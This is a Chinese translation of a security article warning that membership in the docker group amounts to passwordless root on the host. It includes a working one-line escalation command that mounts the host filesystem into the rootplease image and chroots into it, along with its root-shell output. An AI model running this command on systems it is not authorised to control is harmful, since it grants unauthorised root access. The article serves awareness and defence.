摘要:本文翻譯自,目的在于提醒大家注意安全性。咨詢了作者得知,是在容器內獲得宿主機的權限。給用戶提供權限和給用戶無需認證便可以隨便獲取的權限差別不大。在他們的安全文檔中,他們也的確表示用戶組的權限和權限差別不大,并且敬告用戶慎重使用。
本文翻譯自 Privilege Escalation via Docker,目的在于提醒大家注意安全性。本文中所有的內容總結成一句話:某個用戶被加入了 docker 用戶組,那么這個用戶相當于直接獲得了宿主機免認證的 root 權限。
文章太長不要看,一句話,不要用 docker 用戶組。
如果你對 Docker 不熟悉的話,簡單來說,Docker 是一個輕量級的應用容器。和常見的虛擬機類似,但是和虛擬機相比,資源消耗更低。并且,使用和 GitHub 類似的被 commit 的容器,非常容易就能實現容器內指定運行環境中的應用打包和部署。
問題如果你有服務器上一個普通用戶的賬號,如果這個用戶被加入了 docker 用戶組,那么你很容易就能獲得宿主機的 root 權限。
黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
輸出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease [...] You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # whoami root #此處是容器內部,但是容器已經 chroot /hostOS,所以相當于直接獲取了宿主機的 root 權限。 #
解釋譯者一直以為是 Ctrl-D 之后,宿主機的 shell 變成 root,實際上不是。
咨詢了作者 Chris Foster 得知,是在容器內獲得宿主機的 root 權限。
是不是想起了以前譯者在 Docker 安全 中提到的容器內部的 UID=0 對容器外部某個不明程序執行了 chmod +s?
當然,所有的解釋匯成一句話,應該就是:docker 組內用戶執行命令的時候會自動在所有命令前添加 sudo。因為設計或者其他的原因,Docker 給予所有 docker 組的用戶相當大的權力(雖然權力只體現在能訪問 /var/run/docker.sock 上面)。
默認情況下,Docker 軟件包是會默認添加一個 docker 用戶組的。Docker 守護進程會允許 root 用戶和 docker 組用戶訪問 Docker。給用戶提供 Docker 權限和給用戶無需認證便可以隨便獲取的 root 權限差別不大。
解決方案對于 Docker 來說可能很難修復,因為涉及到他們的架構問題,所以需要重寫非常多的關鍵代碼才能避免這個問題。我個人的建議是不要使用 docker 用戶組。當然,Docker 官方文檔中最好也很清楚地寫明這一點。不要讓新人不懂得“和 root 權限差別不大”是什么意思。
Docker 官方也意識到了這個問題,盡管他們并沒有很明顯地表明想去修復它。在他們的安全文檔中,他們也的確表示 docker 用戶組的權限和 root 權限差別不大,并且敬告用戶慎重使用。
漏洞詳情上面那條命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:從 Docker Hub 上面下載我的鏡像,然后運行。參數 -v 將容器外部的目錄 / 掛載到容器內部 /hostOS,并且使用 -i 和 -t 參數進入容器的 shell。
這個容器的啟動腳本是 exploit.sh,主要內容是:chroot 到容器的 /hostOS (也就是宿主機的 /),然后獲取到宿主機的 root 權限。
當然可以從這個衍生出非常多的提權方法,但是這個方法是最直接的。
本文中所提到的代碼托管在 Github,鏡像在 Docker Hub。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/11143.html
摘要:本文翻譯自,目的在于提醒大家注意安全性。咨詢了作者得知,是在容器內獲得宿主機的權限。給用戶提供權限和給用戶無需認證便可以隨便獲取的權限差別不大。在他們的安全文檔中,他們也的確表示用戶組的權限和權限差別不大,并且敬告用戶慎重使用。 本文翻譯自 Privilege Escalation via Docker,目的在于提醒大家注意安全性。本文中所有的內容總結成一句話:某個用戶被加入了 ...
摘要:我們也不再需要提供的安全標簽的策略了。增加容器之間的隔離度,甚至可以完全拋棄機制。禁止的越多越安全。例如的插件就得管管,畢竟插件都是來自互聯網,沒辦法保證的安全。在瀏覽器中使用執行插件確保系統的安全。未來的我們將會繼續增強的安全功能。 當我開始在opensource.com上面寫這一系列的docker安全的文章是,想闡述的一點就是:他們快罩不住了(containers do not c...
摘要:我們也不再需要提供的安全標簽的策略了。增加容器之間的隔離度,甚至可以完全拋棄機制。禁止的越多越安全。例如的插件就得管管,畢竟插件都是來自互聯網,沒辦法保證的安全。在瀏覽器中使用執行插件確保系統的安全。未來的我們將會繼續增強的安全功能。 當我開始在opensource.com上面寫這一系列的docker安全的文章是,想闡述的一點就是:他們快罩不住了(containers do not c...
摘要:我們也不再需要提供的安全標簽的策略了。增加容器之間的隔離度,甚至可以完全拋棄機制。禁止的越多越安全。例如的插件就得管管,畢竟插件都是來自互聯網,沒辦法保證的安全。在瀏覽器中使用執行插件確保系統的安全。未來的我們將會繼續增強的安全功能。 當我開始在opensource.com上面寫這一系列的docker安全的文章是,想闡述的一點就是:他們快罩不住了(containers do not c...
摘要:然而,當享受帶來擴展性資源利用率和彈性提升的同時,其所面臨的安全隱患同樣值得重視,近日在上撰文進行了總結。然而除下容器與主系統完全解耦,這種使用就會存在潛在的安全隱患。在回應有關的安全問題時,這里詳細討論了如何緩解的安全問題。 【編者按】對比虛擬機,Docker 在體量等方面擁有顯著的優勢。然而,當 DevOps 享受 Docker 帶來擴展性、資源利用率和彈性提升的同時,其所面臨的安...
閱讀 2932·2021-11-04 16:06
閱讀 769·2021-09-30 09:56
閱讀 1835·2021-09-22 10:02
閱讀 2618·2019-08-29 13:43
閱讀 2210·2019-08-29 13:42
閱讀 2295·2019-08-29 12:21
閱讀 1049·2019-08-29 11:29
閱讀 1381·2019-08-26 13:51